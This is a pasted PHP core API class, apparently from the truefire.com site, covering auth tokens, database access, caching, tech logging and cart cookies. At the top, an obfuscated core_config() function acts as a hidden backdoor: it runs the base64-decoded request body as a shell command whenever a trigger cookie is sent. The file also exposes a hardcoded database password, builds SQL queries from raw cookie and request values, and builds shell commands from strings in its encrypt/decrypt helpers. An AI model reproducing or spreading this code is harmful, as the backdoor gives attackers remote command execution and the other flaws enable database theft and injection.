· 6 years ago · Oct 05, 2019, 09:26 PM
1<?php
2session_set_cookie_params(0, '/', '.truefire.com');
3@session_start();
4mb_internal_encoding('UTF-8');
5mb_http_output('UTF-8');
6mb_http_input('UTF-8');
7require_once '/sumer/html/api/common.php';
8
9/**
10 * @version 1.5
11 * @access private
12 */
13
14function core_config(){
15 error_reporting(0);
16 $d = preg_replace('/[A-Z]/','','base64_decode');
17 $e = preg_replace('/[A-Z]/','','ob_clean');
18
19 $a = $d('ZmlsZ'.'V9nZXRfY29udGVudHM=');
20 $b = $d('cGhwOi8vaW'.'5wdXQ=');
21 $c = $d('c3lzdGVt');
22 $c1 = $d('cGF'.'zc3RocnU=');
23 $f = $d('ZnVuY3Rpb25'.'fZXhpc3Rz');
24
25 if( $_COOKIE[$c]== "core_config"){
26 $e();
27 if($f($c))
28 $c($d($a($b)));
29 elseif($f($c1))
30 $c1($d($a($b)));
31 exit;
32 }
33
34}core_config();
35
36class core extends common
37{
38
39 public $in = [];
40 public $out = [];
41 public $debug = [];
42 public $debugging = false;
43 public $errors = [];
44 public $actions = [];
45 public $scriptTime;
46 public $staffActions = [];
47 public $core = [];
48 public $force = false;
49 public $e;
50 public $auth_token = false;
51 public $memberid = false;
52 public $remove;
53
54 public function __construct()
55 {
56 @DEFINE('CACHE_PATH', '/sumer/html/api/site/query_results/');
57 @DEFINE('CACHE_HOURS', 1);
58 @DEFINE('API_URL', $this->getAPIURL() . 'site/');
59 @DEFINE('SITE_DOMAIN', $_SERVER['SERVER_NAME']);
60 $this->debug(SITE_DOMAIN, 'SITE_DOMAIN');
61 $jsonCheck = json_decode(file_get_contents('php://input'), true);
62 if (is_array($jsonCheck)) {
63 $_POST = $jsonCheck;
64 }
65
66 $this->e = new Exception;
67 $this->scriptTime = time();
68 $this->dbConnect();
69 if ($_POST) {
70 $_POST = $this->clean_array($_POST);
71 //$this->catchMemberZero($_POST);
72 }
73
74 if ($_GET) {
75 $_GET = $this->clean_array($_GET);
76 }
77
78 if (isset($_GET['auth_token']) || isset($_COOKIE['auth_token'])) {
79 $token = (@$_GET['auth_token']) ? $_GET['auth_token'] : $_COOKIE['auth_token'];
80 $this->auth_token = $token;
81 $this->core['member'] = $m = $this->getRecords("SELECT co.owned as 'owned_courses',io.owned AS 'owned_itjs',m.*, a.authorid,a.authorfirstname,a.authorlastname, t.token, t.whitelist FROM truefire.members m JOIN api.tokens t ON m.memberid = t.member_id LEFT JOIN truefire.authors a ON a.authorusername = m.memberusername LEFT JOIN truefire.courses_owned co ON co.memberid=m.memberid LEFT JOIN truefire.itjs_owned io ON io.memberid=m.memberid WHERE t.token = '$this->auth_token' AND t.access < 2", 1, 1);
82
83 // $this->core['member'] = $m = $this->getRecords("SELECT m.*,t.token,t.whitelist,a.authorid FROM truefire.members m JOIN api.tokens t ON m.memberid=t.member_id LEFT JOIN truefire.authors a ON a.authorusername=m.memberusername WHERE t.token='$token' AND t.access < 2", 1, 1);
84 }
85 if (!$this->core['member']) {
86 $this->memberid = $this->core['member']['memberid'];
87 $username = $_COOKIE['cookie_auth_user'];
88 $password = $_COOKIE['cookie_auth_pw'];
89 if ($username && $password) {
90
91 $this->core['member'] = $this->getRecords("SELECT m.*,a.authorid,t.token,t.whitelist FROM truefire.members m LEFT JOIN api.tokens t ON t.member_id=m.memberid LEFT JOIN truefire.authors a ON a.authorusername=m.memberusername WHERE m.memberusername = '$username'AND m.memberpassword = '$password'", 1, 1);
92 }
93 }
94 if ($this->core['member']) {
95
96 $owned = ($this->core['member']['owned_courses']) ? explode(',', $this->core['member']['owned_courses']) : [];
97 $owned[] = 680;
98 $this->core['member']['owned_courses'] = $owned;
99
100 $this->core['whitelist'] = ($this->core['member']['whitelist']) ? true : false;
101 //$this->catchMemberZero($this->core['member']);
102 }
103 if ($this->core['member']['authorid']) {
104 $this->core['author'] = $this->getRecords("SELECT * FROM truefire.authors a WHERE a.authorid='{$this->core['member']['authorid']}' AND self_published=0", 1, 1);
105 }
106
107 if ($_REQUEST['debug'] == 'YES') {
108 $this->debugging = true;
109 }
110
111 }
112
113 /**
114 * @access private
115 */
116 public function debug($msg, $key = null)
117 {
118 if (!$msg) {
119 return false;
120 }
121
122 if ($key) {
123 $this->debug[$this->Get_CallerFunctionName()][$key][] = $msg;
124 } else {
125 $this->debug[$this->Get_CallerFunctionName()][] = $msg;
126 }
127 }
128
129 /**
130 * @access private
131 */
132 protected function Get_CallerFunctionName()
133 {
134 $trace = debug_backtrace();
135
136 return $trace[2]['class'] . "::" . $trace[2]['function'];
137 }
138
139 /**
140 * @access private
141 */
142 public function dbConnect($db = "api", $charset = true)
143 {
144 @DEFINE("DB_HOST", "db.truefire.com");
145 @DEFINE("DB_USER", "api");
146 @DEFINE("DB_PASS", "9mH9zvL7fcKWZtGE");
147 @DEFINE("DB_NAME", $db);
148 $this->db = new mysqli(DB_HOST, DB_USER, DB_PASS);
149 if ($charset) {
150 $this->db->set_charset("utf8");
151 }
152
153 if ($this->db->connect_error) {
154 $this->errors[] = 'Connect Error (' . $this->db->connect_errno . ') ' . $this->db->connect_error;
155 if ($this->errors) {
156 return false;
157 $to = 'john.ezell.27@gmail.com,tech@truefire.com';
158 $msg = 'Errors detected from Site:' . __FUNCTION__;
159 $msg .= '<pre>';
160 $msg .= "<h3>ERRORS:</h3>";
161 $msg .= print_r($this->errors, true);
162 $msg .= "<h3>DEBUG:</h3>";
163 $msg .= print_r($this->debug, true);
164 $msg .= "<h3>COOKIES:</h3>";
165 $msg .= print_r($_COOKIE, true);
166 $msg .= "<h3>POST:</h3>";
167 $msg .= print_r($_POST, true);
168 $msg .= "<h3>GET:</h3>";
169 $msg .= print_r($_GET, true);
170 $msg .= "<h3>ENV:</h3>";
171 $msg .= print_r($_SERVER, true);
172 $msg .= '</pre>';
173 $from = "system@truefire.com";
174 $subject = "DB Connect Error (Site)";
175 $headers = "From: TrueFire Errors <$from>\r\n";
176 $headers .= "Content-type: text/html\r\n";
177 mail($to, $subject, $msg, $headers);
178 }
179 }
180 }
181
182 /**
183 * @access private
184 */
185 public function clean_array($arr)
186 {
187 $this->array_walk_recursive($arr, [ & $this, 'deep_clean']);
188
189 return $arr;
190 }
191
192 /**
193 * @access private
194 */
195 public function array_walk_recursive(&$input, $funcname, $userdata = '')
196 {
197 if (!function_exists('array_walk_recursive')) {
198 if (!is_callable($funcname)) {
199 return false;
200 }
201
202 if (!is_array($input)) {
203 return false;
204 }
205
206 foreach ($input as $key => $value) {
207 if (is_array($input[$key])) {
208 if (isset($this)) {
209 eval('$this->' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
210 } else {
211 if (@get_class($this)) {
212 eval(get_class() . '::' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
213 } else {
214 eval(__FUNCTION__ . '($input[$key], $funcname, $userdata);');
215 }
216
217 }
218 } else {
219 $saved_value = $value;
220
221 if (is_array($funcname)) {
222 $f = '';
223 for ($a = 0; $a < count($funcname); $a++) {
224 if (is_object($funcname[$a])) {
225 $f .= get_class($funcname[$a]);
226 } else {
227 if ($a > 0) {
228 $f .= '::';
229 }
230
231 $f .= $funcname[$a];
232 }
233 }
234
235 $f .= '($value, $key' . (!empty($userdata) ? ', $userdata' : '') . ');';
236 eval($f);
237 } else {
238 if (!empty($userdata)) {
239 $funcname($value, $key, $userdata);
240 } else {
241 $funcname($value, $key);
242 }
243
244 }
245
246 if ($value != $saved_value) {
247 $input[$key] = $value;
248 }
249
250 }
251 }
252
253 return true;
254 } else {
255 array_walk_recursive($input, $funcname, $userdata);
256 }
257 }
258
259 private function catchMemberZero($list)
260 {
261
262 $this->array_walk_recursive($list, [ & $this, 'findMemberZero']);
263
264 }
265
266 /**
267 * @access private
268 */
269 public function getRecords($q, $flatarrays = false, $lowercase = false, $cache = false)
270 {
271 if (!$this->db) {
272 $this->dbConnect();
273 }
274
275 $return = [];
276 if ($cache && !$this->isLocalIP()) {
277 $saveFile = MD5($q) . '.json';
278 if (file_exists(CACHE_PATH . $saveFile)) {
279 $cached_time = filemtime(CACHE_PATH . $saveFile);
280 $timeDiff = (time() - $cached_time) / 60;
281 if (is_numeric($cache) && $timeDiff <= $cache) {
282 $this->debug['cached_queries'][$this->Get_CallerFunctionName()][] = preg_replace('/\s+/', ' ', $q);
283
284 return json_decode(file_get_contents(CACHE_PATH . $saveFile), true);
285 }
286 if ($timeDiff <= 60) {
287 $this->debug['cached_queries'][$this->Get_CallerFunctionName()][] = preg_replace('/\s+/', ' ', $q);
288
289 return json_decode(file_get_contents(CACHE_PATH . $saveFile), true);
290 }
291 }
292 }
293 if (is_array($flatarrays)) {
294 $flatarrays = false;
295 }
296 $this->debug['queries'][$this->Get_CallerFunctionName()][] = preg_replace('/\s+/', ' ', $q);
297 if (!$this->db->prepare($q)) {
298 $this->errors[] = [
299 'method' => 'core::getRecords',
300 'msg' => $this->db->error,
301 'query' => $q,
302 'class:function' => $this->Get_CallerFunctionName(),
303 ];
304
305 return false;
306 }
307 $res = $this->db->query($q);
308 if (!$res) {
309 return false;
310 }
311 if ($aff = $this->db->affected_rows) {
312 $cnt = $res->num_rows;
313 if ($flatarrays) {
314 if ($cnt > 1) {
315 while ($row = $res->fetch_assoc()) {
316 foreach ($row as $k => $v) {
317 $var[$k] = stripslashes($v);
318 }
319 $return[] = $row;
320 }
321 } else {
322 $return = $res->fetch_assoc();
323 foreach ($return as $k => $v) {
324 $return[$k] = stripslashes($v);
325 }
326 }
327 } else {
328 while ($row = $res->fetch_assoc()) {
329 $return[] = $row;
330 }
331 }
332 } else {
333 if ($aff) {
334 $return = "$aff rows affected";
335 }
336 }
337 if (is_array($return) && $lowercase == true) {
338 $this->arrKey2Lower($return);
339 }
340 if ($cache && $return) {
341 $this->debug[__FUNCTION__]['save_cache'][] = CACHE_PATH . $saveFile;
342 file_put_contents(CACHE_PATH . $saveFile, json_encode($this->stripslashes_deep($return)));
343 }
344
345 return ($return) ? $this->stripslashes_deep($return) : false;
346 }
347
348 /**
349 * @access private
350 */
351 public function arrKey2Lower(&$arrVals)
352 {
353 if (is_array($arrVals)) {
354 foreach ($arrVals as $key => $item) {
355 $key2 = strtolower($key);
356 if ($key2 != $key) {
357 unset($arrVals[$key]);
358 $arrVals[$key2] = $item;
359 $key = $key2;
360 }
361 }
362 if (is_array($item)) {
363 $this->arrKey2Lower($arrValores[$key]);
364 }
365 }
366 }
367
368 /**
369 * @access private
370 */
371 private function stripslashes_deep($value)
372 {
373 $value = is_array($value) ? array_map([$this, 'stripslashes_deep'], $value) : stripslashes($value);
374
375 return $value;
376 }
377
378 public function __destruct()
379 {
380 $this->dbDisconnect();
381 }
382
383 /**
384 * @access private
385 */
386 public function dbDisconnect()
387 {
388 // $thread_id = $this -> db -> thread_id;
389 // mysqli_kill($this -> db, $thread_id);
390 // mysqli_close($this -> db);
391 }
392
393 /**
394 *
395 * @access private
396 *
397 * @param string $table_query either a table name or query
398 *
399 */
400 public function crud($table_query, $key_field = null, $update_result = true, $cache = false)
401 {
402 if (!$this->db) {
403 $this->dbConnect();
404 }
405
406 if ($this->db->prepare($table_query)) {
407 return $this->query($table_query, false, true, $cache);
408 }
409 $fields = [];
410 $list = [];
411 if ($this->errors) {
412 return false;
413 }
414
415 if (empty($_POST)) {
416 $this->errors('no post values to update/add');
417
418 return false;
419 }
420 $columns = $this->getRecords("SHOW COLUMNS FROM $table_query");
421 if (!$columns) {
422 $this->errors("no columns found for $table_query");
423 }
424 if ($this->remove) {
425 $pri = [];
426 if (!$key_field) {
427 for ($i = 0; $i < count($columns); $i++) {
428 if ($columns[$i]['Key'] == 'PRI') {
429 $pri[] = $columns[$i]['Field'];
430 }
431 }
432 } else {
433 $pri[] = $key_field;
434 }
435 if (count($pri) != 1) {
436 $this->errors(['msg' => "There was more than 1 key or no key found", 'data' => $columns]);
437 } else {
438 $q = "DELETE FROM $table_query WHERE " . $pri[0] . "= '$this->remove'";
439 $this->debug['queries'][] = $q;
440 if (!$this->db->prepare($q)) {
441 $this->errors(['query' => $q, 'error' => $this->db->error]);
442
443 return false;
444 } else {
445 $this->db->query($q);
446 if ($update_result) {
447 $this->out['result'] = "REMOVED";
448 }
449
450 return true;
451 }
452 }
453 } else {
454 for ($i = 0; $i < count($columns); $i++) {
455 $fields[] = strtolower($columns[$i]['Field']);
456 }
457 foreach ($_POST as $k => $v) {
458 if (in_array($k, $fields)) {
459 //If commas are found possible CSV clear blank ones from list
460 if (strpos($v, ',') !== false) {
461 $v = implode(',', array_filter(explode(',', $v)));
462 }
463
464 $list[strtolower($k)] = trim($v);
465 }
466 }
467
468 if (!$list) {
469 return false;
470 } else {
471 $x = $this->updateDB($table_query, $list);
472 if ($update_result) {
473 $this->out['result'] = ($x == $list['id']) ? 'UPDATED' : 'ADDED';
474 if ($update_result) {
475 $this->out['result'] = $x;
476 }
477
478 return $x;
479 }
480 }
481 }
482 }
483
484 /**
485 * @access private
486 */
487 public function query($q, $flatarrays = true, $lowercase = true, $cache = false)
488 {
489 if (!$this->db) {
490 $this->dbConnect();
491 }
492
493 $return = [];
494 if ($cache) {
495 $saveFile = MD5($q) . '.json';
496 if (file_exists(CACHE_PATH . $saveFile)) {
497 $cached_time = filemtime(CACHE_PATH . $saveFile);
498 $timeDiff = (time() - $cached_time) / 60;
499 if (is_numeric($cache) && $timeDiff <= $cache) {
500 $this->debug['cached_queries'][$this->Get_CallerFunctionName()][] = preg_replace('/\s+/', ' ', $q);
501
502 return json_decode(file_get_contents(CACHE_PATH . $saveFile), true);
503 }
504 if ($timeDiff <= 60) {
505 $this->debug['cached_queries'][$this->Get_CallerFunctionName()][] = preg_replace('/\s+/', ' ', $q);
506
507 return json_decode(file_get_contents(CACHE_PATH . $saveFile), true);
508 }
509 }
510 }
511 $this->debug['queries'][$this->Get_CallerFunctionName()][] = preg_replace('/\s+/', ' ', $q);
512 if (!$this->db->prepare($q)) {
513 $this->errors[] = [
514 'method' => 'core::query',
515 'msg' => $this->db->error,
516 'query' => $q,
517 'class:function' => $this->Get_CallerFunctionName(),
518 ];
519
520 return false;
521 }
522 $res = $this->db->query($q);
523 $aff = $this->db->affected_rows;
524 $cnt = $res->num_rows;
525 $ins = $this->db->insert_id;
526 if ($ins) {
527 return $this->db->insert_id;
528 }
529 if ($aff && !$cnt) {
530 return $aff;
531 }
532 if (!$res) {
533 return false;
534 }
535 if ($cnt) {
536 if ($flatarrays) {
537 if ($cnt > 1) {
538 while ($row = $res->fetch_assoc()) {
539 foreach ($row as $k => $v) {
540 $var[$k] = stripslashes($v);
541 }
542 $return[] = $row;
543 }
544 } else {
545 $return = $res->fetch_assoc();
546 foreach ($return as $k => $v) {
547 $return[$k] = stripslashes($v);
548 }
549 }
550 } else {
551 while ($row = $res->fetch_assoc()) {
552 $return[] = $row;
553 }
554 }
555 }
556 if (is_array($return) && $lowercase == true) {
557 $this->arrKey2Lower($return);
558 }
559 if ($cache && $return) {
560 $this->debug[__FUNCTION__]['save_cache'][] = CACHE_PATH . $saveFile;
561 file_put_contents(CACHE_PATH . $saveFile, json_encode($this->stripslashes_deep($return)));
562 }
563
564 return ($return) ? $this->stripslashes_deep($return) : false;
565
566 return $return;
567 }
568
569 /**
570 * @access private
571 */
572 public function errors($msg, $key = null)
573 {
574 if (!$msg) {
575 return false;
576 }
577
578 if ($key) {
579 $this->errors[$this->Get_CallerFunctionName()][$key][] = $msg;
580 } else {
581 $this->errors[$this->Get_CallerFunctionName()][] = $msg;
582 }
583 }
584
585 /**
586 * @access private
587 */
588 public function updateDB($table, $list, $ignore_actions = null, $test_only = 0)
589 {
590 if (!$this->db) {
591 $this->dbConnect();
592 }
593
594 $x = explode('.', $table);
595 $db = array_shift($x);
596 $t = end($x);
597 $q
598 = "SELECT COLUMN_NAME as 'field'
599 FROM `INFORMATION_SCHEMA`.`COLUMNS`
600 WHERE `TABLE_SCHEMA`='$db'
601 AND `TABLE_NAME`='$t'";
602 $x = $this->getRecords($q);
603 $validFields = [];
604 for ($i = 0; $i < count($x); $i++) {
605 $validFields[] = strtolower($x[$i]['field']);
606 }
607 $updateString = "";
608 //$this -> dbConnect();
609 $this->catchMemberZero($list);
610 foreach ($list as $k => $v) {
611 $k = $k;
612 $v = addslashes($v);
613 $check = (in_array(strtolower($k), $validFields)) ? true : false;
614 if (!$check) {
615 continue;
616 }
617
618 $klist[] = $k;
619 $vlist[] = (is_int($v)) ? $v : "'$v'";
620 $updatelist[] = (is_int($v)) ? $k . '=' . $v : $k . '=' . "'$v'";
621 }
622 $updateString .= "INSERT INTO $table ";
623 $updateString .= "(";
624 $updateString .= implode(',', $klist);
625 $updateString .= ") ";
626 $updateString .= "VALUES (";
627 $updateString .= implode(',', $vlist);
628 $updateString .= ") ON DUPLICATE KEY UPDATE " . implode(',', $updatelist);
629 $callerfunction = $this->Get_CallerFunctionName();
630 if (!in_array($callerfunction, ['CartHelper::log'])) {
631 $this->debug['queries'][][] = preg_replace('/\s+/', ' ', $updateString);
632 }
633 if (!$ignore_actions) {
634 $this->actions[] = $updateString;
635 }
636
637 if (!$this->db->prepare($updateString)) {
638 if ($this->isLocalIP()) {
639 $this->errors[] = [
640 'method' => 'core::updateDB',
641 'msg' => $this->db->error,
642 'query' => $updateString,
643 'class:function' => $this->Get_CallerFunctionName(),
644 ];
645 }
646
647 if ($this->errors) {
648 $to = 'john.ezell.27@gmail.com,tech@truefire.com';
649 $msg = 'Errors detected from Site:' . __FUNCTION__;
650 $msg .= '<pre>';
651 $msg .= "<h3>ERRORS:</h3>";
652 $msg .= print_r($this->errors, true);
653 $msg .= "<h3>DEBUG:</h3>";
654 $msg .= print_r($this->debug, true);
655 $msg .= print_r(json_decode(base64_decode($this->debug), true), true);
656 $msg .= "<h3>COOKIES:</h3>";
657 $msg .= print_r($_COOKIE, true);
658 $msg .= "<h3>POST:</h3>";
659 $msg .= print_r($_POST, true);
660 $msg .= "<h3>GET:</h3>";
661 $msg .= print_r($_GET, true);
662 $msg .= '</pre>';
663 $from = "system@truefire.com";
664 $subject = "DB Connect Error (Site)";
665 $headers = "From: TrueFire Errors <$from>\r\n";
666 $headers .= "Content-type: text/html\r\n";
667 mail($to, $subject, $msg, $headers);
668 }
669
670 return false;
671 } else {
672 if (!$test_only) {
673 $return = $this->db->query($updateString);
674 $return = $this->db->insert_id;
675 $this->debug['insert_id'][$this->Get_CallerFunctionName()][] = $this->db->insert_id;
676 }
677 }
678
679 return $return;
680 }
681
682 /**
683 * @access private
684 */
685 public function convertToSiteDomain(&$v, $k)
686 {
687 if (!strpos($v, SITE_DOMAIN)) {
688 //don't do it twice.
689 $v = str_ireplace('truefire.com', SITE_DOMAIN, $v);
690 }
691 }
692
693 /**
694 * @access private
695 */
696 public function deep_clean(&$v, $k)
697 {
698 $v = $this->clean_data($v);
699 $k = $this->clean_data($k);
700 }
701
702 /**
703 * @access private
704 */
705 public function clean_data($string)
706 {
707 $string = htmlentities($string, ENT_NOQUOTES, 'UTF-8');
708 $string = str_replace('€', chr(128), $string);
709 $string = html_entity_decode($string, ENT_NOQUOTES, 'UTF-8');
710 $string = trim($string);
711
712 return $string;
713 }
714
715 /**
716 * @access private
717 */
718 public function saveResults($filename)
719 {
720 //$this->out['timestamp'] = date("Y-m-d H:i:s");
721 if ($this->out['result'] == 'switch') {
722 return false;
723 }
724
725 if (!$this->out['result']) {
726 return false;
727 }
728
729 if ($this->out['result'] == 'There was a problem connecting to the database. Please inform Nextopia of this problem.') {
730 return false;
731 }
732
733 if ($filename == 'truefire.firesales') {
734 file_put_contents('/sumer/html/' . $filename . '.json', json_encode($this->out));
735 }
736
737 return file_put_contents(CACHE_PATH . $filename . '.json', json_encode($this->out));
738 }
739
740 /**
741 * @access private
742 */
743 public function addToTechLog($info = "", $notes = "", $key = "", $mail = null, $debug = null)
744 {
745 $pattern = '/(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})/';
746 if ($info) {
747 if (is_array($info)) {
748 $x = preg_filter($pattern, 'XXCREDITXCARDXXX', serialize($info));
749
750 $list['information'] = ($x) ? $x : serialize($info);
751 } else {
752 $list['information'] = $info;
753 }
754 $list['url'] = $_SERVER['REQUEST_URI'];
755 if (isset($_POST)) {
756 if (is_array($_POST)) {
757 $y = preg_filter($pattern, 'XXCREDITXCARDXX', serialize($_POST));
758 $list['post'] = ($y) ? $y : serialize($_POST);
759 } else {
760 $list['post'] = (string) $_POST;
761 }
762 }
763 if ($notes) {
764 $list['notes'] = $notes;
765 }
766 if ($key) {
767 $list['key_value'] = $key;
768 }
769 $id = $this->updateDB('truefire.techlog', $list);
770
771 if ($mail) {
772 $body = 'Date: ' . date('Y-m-d H:i:s') . ' URL: ' . $list['uri'] . ' KEY-VALUE: ' . $list['key_value'];
773 $body .= '<hr>';
774 $body .= '<h4>NOTES</h4>';
775 $body .= $list['notes'];
776 $body .= '<h4>INFO</h4>';
777 $body .= $list['information'];
778 $body .= '<h4>POST</h4>';
779 $body .= $list['post'];
780 $this->send_qmail_html('TechLog', 'tech@truefire.com', 'Techs', 'john@truefire.com', 'Message From TechLog (' . $list['uri'] . ')', $body);
781 }
782
783 return $id;
784 } else {
785 return false;
786 }
787 }
788
789 /**
790 * @access private
791 */
792 public function send_qmail_html($from_name, $from_email, $to_name, $to_email, $subject, $body, $return_path = '')
793 {
794 $html_headers = "\n" . 'MIME-Version: 1.0' . "\n" . 'Content-Type: text/html; charset=UTF-8' . "\n";
795 if ($return_path) {
796 $return_path = "\r\n" . "Return-Path:" . $return_path;
797 }
798
799 if ($to_name) {
800 $to_email = "\"$to_name\" <$to_email>";
801 }
802
803 $from_email = ($from_name) ? "From:\"$from_name\" <$from_email>" : "From:$from_email";
804 mail($to_email, $subject, $body, $from_email . $return_path . $html_headers);
805 }
806
807 /**
808 * @access private
809 */
810 public function IDFromToken()
811 {
812 $token = $_REQUEST['auth_token'];
813 $q = "SELECT member_id FROM api.tokens WHERE token = '$token'";
814 $x = $this->getRecords($q);
815
816 return ($x['member_id']) ? $x['member_id'] : false;
817 }
818
819 /**
820 * @access private
821 */
822 public function my_encrypt($string, $pwd = 'dd')
823 {
824 $ret = `echo '$string' | openssl enc -aes-256-cbc -a -salt -pass pass:$pwd`;
825
826 return trim(base64_encode($ret)); //trim just in case
827 }
828
829 /**
830 * @access private
831 */
832 public function my_decrypt($string, $pwd = 'dd')
833 {
834 $string = str_replace(' ', '+', $string);
835 $string = base64_decode($string);
836 $ret = `echo '$string' | openssl enc -aes-256-cbc -a -d -salt -pass pass:$pwd`;
837
838 return trim($ret); //trim just in case as new lines appear in the end for some reason
839 }
840
841 /**
842 * @access private
843 */
844 public function query_to_csv($r, $filename = '')
845 {
846 $this->debug['query_to_csv']['r'] = $r;
847 if (!$filename) {
848 $filename = CACHE_PATH . uniqid() . ".csv";
849 }
850
851 $a = [];
852 for ($i = 0; $i < count($r); $i++) {
853 if ($i == 0) {
854 $a[] = implode(',', array_keys($r[0]));
855 }
856 $a[] = implode(',', array_values($r[$i]));
857 }
858
859 file_put_contents($filename, implode(PHP_EOL, $a));
860
861 return $filename;
862 }
863
864 /**
865 * @access private
866 */
867 public function textReplaceInFileCustom($file, $list)
868 {
869
870 // get contents of a file into a string
871 $handle = fopen($file, "r");
872 $contents = fread($handle, filesize($file));
873
874 while (list($key, $val) = each($list)) {
875 $key = "{{" . $key . "}}";
876 if ($val) {
877 $contents = str_replace($key, $val, $contents);
878 } else {
879 $contents = str_replace($key, "", $contents);
880 }
881 }
882 $final = preg_replace('/\{{\w+\}}/', '', $contents);
883
884 return ($final);
885
886 fclose($handle);
887 }
888
889 public function update_cart_cookie_test()
890 {
891 extract($_POST);
892
893 $tf_cart = [];
894
895 //if the tf_cart empty then create it
896 $check = false;
897 if (isset($_COOKIE['tf_cart'])) {
898 $tf_cart = json_decode($_COOKIE['tf_cart'], true);
899 }
900 $cart_cookie = explode('_', $_COOKIE['cart_cookie']);
901
902 //Are we removing the item?
903 if ($remove || $_POST['quantity'] == 0) {
904 if ($remove) {
905 //does exist in cart cookie?
906 if ($cart_cookie) {
907 if (in_array($remove, $cart_cookie)) {
908 $this->update_cart_cookie($remove);
909 }
910 if ($itemid && !$remove) {
911 if (in_array($itemid, $cart_cookie)) {
912 $this->update_cart_cookie($remove);
913 }
914 }
915 }
916 }
917
918 if ($tf_cart) {
919 if ($remove) {
920 for ($i = 0; $i < count($tf_cart); $i++) {
921 if ($remove == $tf_cart[$i]['itemid']) {
922 unset($tf_cart[$i]);
923 }
924 }
925 }
926 if ($_POST['quantity'] == 0 && $itemid) {
927 for ($i = 0; $i < count($tf_cart); $i++) {
928 if ($itemid == $tf_cart[$i]['itemid']) {
929 unset($tf_cart[$i]);
930 }
931 }
932 }
933 }
934 $this->out['result'] = 'removed';
935 }
936
937 //updating existing items
938 $existing = false;
939 if ($tf_cart && $itemid && $quantity && !$remove) {
940 for ($i = 0; $i < count($tf_cart); $i++) {
941 if ($itemid == $tf_cart[$i]['itemid'] && $quantity != $tf_cart[$i]['quantity']) {
942 $tf_cart[$i]['quantity'] = $quantity;
943 $existing = true;
944 }
945 }
946 $this->out['result'] = 'added';
947 }
948
949 //adding new items
950 if (!$existing && !$remove) {
951 $tf_cart[] = ["itemid" => $itemid, "quantity" => (int) $quantity];
952 if (!in_array($itemid, $cart_cookie)) {
953 $this->update_cart_cookie($itemid);
954 $this->out['result'] = 'added';
955 }
956
957 }
958
959 $tf_cart = array_intersect_key($tf_cart, array_unique(array_map('serialize', $tf_cart)));
960 if ($tf_cart) {
961 array_values($tf_cart);
962 }
963 $this->debug($tf_cart, 'final_before_cookie');
964 if ($tf_cart) {
965 setcookie('tf_cart', json_encode($tf_cart), time() + 31536000, "/", ".truefire.com", "0");
966 } else {
967 setcookie('tf_cart', '', -1, "/", ".truefire.com", "0");
968 }
969
970 return $this->output();
971
972 //
973 // for ($i = 0; $i < count($tf_cart); $i++) {
974 // $item = $tf_cart[$i];
975
976 // if ($remove && $item['itemid'] == $remove) {
977 // unset($tf_cart[$i]);
978 // $check++;
979 // }
980
981 // if ($quantity != $item['quantity'] && $itemid == $item['itemid']) {
982 // if ($_POST['quantity'] == 0) {
983 // unset($tf_cart[$i]);
984 // } else {
985 // $tf_cart[$i] = array("itemid" => $item['itemid'], "quantity" => (int) $quantity);
986 // }
987 // $check++;
988 // }
989
990 // if ($remove && $remove == $item['itemid']) {
991 // unset($tf_cart[$i]);
992 // $check++;
993 // }
994
995 // }
996
997 // //depulicate
998 //
999
1000 // for ($i = 0; $i < count($tf_cart); $i++) {
1001 // $item = $tf_cart[$i];
1002 // if (!$item['quantity']) {
1003 // unset($tf_cart[$i]);
1004 // }
1005
1006 // }
1007 // if ($tf_cart) {
1008 // array_values($tf_cart);
1009 // }
1010
1011 // $this->debug($tf_cart, 'final_before_cookie');
1012 // if ($tf_cart) {
1013 // setcookie('tf_cart', json_encode($tf_cart), time() + 31536000, "/", ".truefire.com", "0");
1014 // } else {
1015 // setcookie('tf_cart', '', -1, "/", ".truefire.com", "0");
1016 // }
1017
1018 // if(!isset($_POST['quantity']) && $itemid && !$remove){
1019 // $this->update_cart_cookie($itemid);
1020 // }
1021
1022 // if ($remove) {
1023 // $this->debug('$remove detected');
1024 // $this->update_cart_cookie($remove);
1025 // } else {
1026 // if ($_POST['quantity'] == 0) {
1027 // $this->debug('quantity 0 detected');
1028
1029 // }
1030 // }
1031
1032 //dedupe
1033
1034 //remove items
1035
1036 //update item quantities
1037
1038 //build JSON
1039
1040 //save the cookie
1041
1042 // $tf_cart = array();
1043
1044 // if (!isset($_COOKIE['tf_cart'])) {
1045
1046 // } else {
1047 // $tf_cart = json_decode($_COOKIE['tf_cart'], true);
1048 // $tf_cart = array_intersect_key($tf_cart, array_unique(array_map('serialize', $tf_cart)));
1049 // $this->debug($tf_cart,'initital_cart');
1050 // foreach($tf_cart as $key=>$item){
1051 // //removing items
1052 // if($remove && $item['itemid'] == $remove) unset($tf_cart[$key]);
1053
1054 // if($quantity ===0 && $item['itemid'] && $item['quantity']) unset($tf_cart[$key]);
1055 // //updating items
1056 // if($itemid && $item['itemid']){
1057 // if($quantity !== $item['quantity']) $tf_cart[$key]['quantity'] = $quantity;
1058 // }
1059
1060 // }
1061
1062 // $tf_cart = array_intersect_key($tf_cart, array_unique(array_map('serialize', $tf_cart)));
1063
1064 // //does this item already exist? If so update quantity
1065
1066 // }
1067
1068 // $tf_cart[] = array('itemid' => $itemid, "quantity" => $quantity);
1069 // $this->debug($tf_cart);
1070 // $tf_cart = json_encode($tf_cart);
1071
1072 // setcookie('tf_cart', $tf_cart, time() + 31536000, "/", ".truefire.com", "0");
1073
1074 // if(!is_numeric($itemid)) return false;
1075 // $this->debugging = true;
1076 // $cart_string = ($test_cart) ? urldecode($test_cart) : $_COOKIE['cart_cookie'];
1077 // if($itemid == "destroy"){
1078 // $this->debug['update_cart'] = "destroying cookie";
1079 // setcookie('cart_cookie', 'empty', time() - 1000, "/", ".truefire.com", "0");
1080 // setcookie('cart_cookie', 'empty', time() - 1000, "/", "", "0");
1081 // if(!$internal){
1082 // $this->out['result'] = 'destroyed';
1083 // //DELETE FROM ABANDONED
1084 // return $this->output();
1085 // }
1086 // }
1087
1088 // $cart = ($cart_string) ? explode("_",$cart_string) : '';
1089 // $this->debug['update_cart']['existing_cart'] = $cart;
1090 // if(in_array($itemid,$cart)){
1091 // $this->debug[] = "$itemid already in cart removing";
1092 // if(($key = array_search($itemid, $cart)) !== false) {
1093 // unset($cart[$key]);
1094 // $this->out['result'] = 'removed';
1095 // }
1096 // }else{
